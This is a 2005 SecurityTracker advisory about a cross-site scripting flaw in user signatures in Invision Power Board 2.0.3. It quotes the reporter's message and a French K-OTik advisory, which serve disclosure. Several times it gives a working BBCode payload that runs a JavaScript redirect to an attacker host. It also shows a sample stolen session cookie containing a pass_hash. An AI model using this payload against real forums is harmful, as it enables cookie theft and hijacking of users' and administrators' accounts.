Invision Power Board Input Validation Flaw in User Signature Permits Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1013605 |
|
SecurityTracker URL: http://securitytracker.com/id/1013605
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 30 2005
|
Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 2.0.3
|
Description:
An input validation vulnerability was reported in Invision Power Board in the user signatures. A remote user can conduct cross-site scripting attacks.
The software does not properly validate user-supplied input in the user's signature. Certain BBCode tags are not properly validated. A remote user can submit a specially crafted tag that, when viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Invision Power Board software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit tag is provided:
[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://[attackersite]');")
Hoangyenxinhdep from Viethacker.org reported this vulnerability.
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Invision Power Board software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.invisionboard.com/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: 29 Mar 2005 08:59:28 -0000
Subject: Invision Power Board v2.0.3 XSS vulnerabilities
|
Invision Power Board v2.0.3 XSS vulnerabilities found more at user signature. when Admin read attacker topics, admin will lost his
pass_hash
example
[session_id=f2600ff71ea895e6b9dedb5fd9480d16;%20member_id=48;%20pass_hash=8ee00894ca583f64a85fd41a47048d14;%20topicsread=a%3A7%3A%7Bi%3A498%3Bi%3A1111649756%3Bi%3A485%3Bi%3A1111649822%3Bi%3A494%3Bi%3A1111651530%3Bi%3A488%3Bi%3A1111653254%3Bi%3A481
%3Bi%3A1111655869%3Bi%3A490%3Bi%3A1111654241%3Bi%3A250%3Bi%3A1111655785%3B%7D;%20modtids=%2C;%20anonlogin=-1]
I post this topic because v2.0.3 also get bugs not only 1.3.1 and all atacker can hack by this code
exploit
[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://www.servermalicieux.com');")
Viethacker.org
Hoangyenxinhdep - dora
-----------------------------------------
Date de Publication : 2005-02-21 © K-OTik.COM - Voir Notice Légale
Titre: Invision Power Board SML Codes Cross Site Scripting Vulnerability
K-OTik ID : AVIS-2005-0191
Risque : Bas
Exploitable à distance : Oui
Exploitable en local : Oui
* Description Technique *
Une vulnérabilité a été identifiée dans Invision Power Board, elle pourrait être exploitée par un attaquant afin de réaliser des attaques
par Cross Site Scripting. Le problème résulte d'une erreur présente au niveau de la gestion des signatures qui ne sont pas correctement
filtrées, ce qui pourrait être exploité afin d'injection du code HTML coté client via une signature spécifique.
[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascript:document.location.replace('http://www.servermalicieux.com');")
* Versions Vulnérables *
Invision Power Board version 1.3.1 et inférieures
* Solution *
Aucune solution officielle pour l'instant
* Références *
http://www.k-otik.com/bugtraq/bulletins/937
* Crédit *
Vulnérabilités découvertes par Daniel A.
* ChangeLog *
2005-02-21 : Version Initiale
|
|
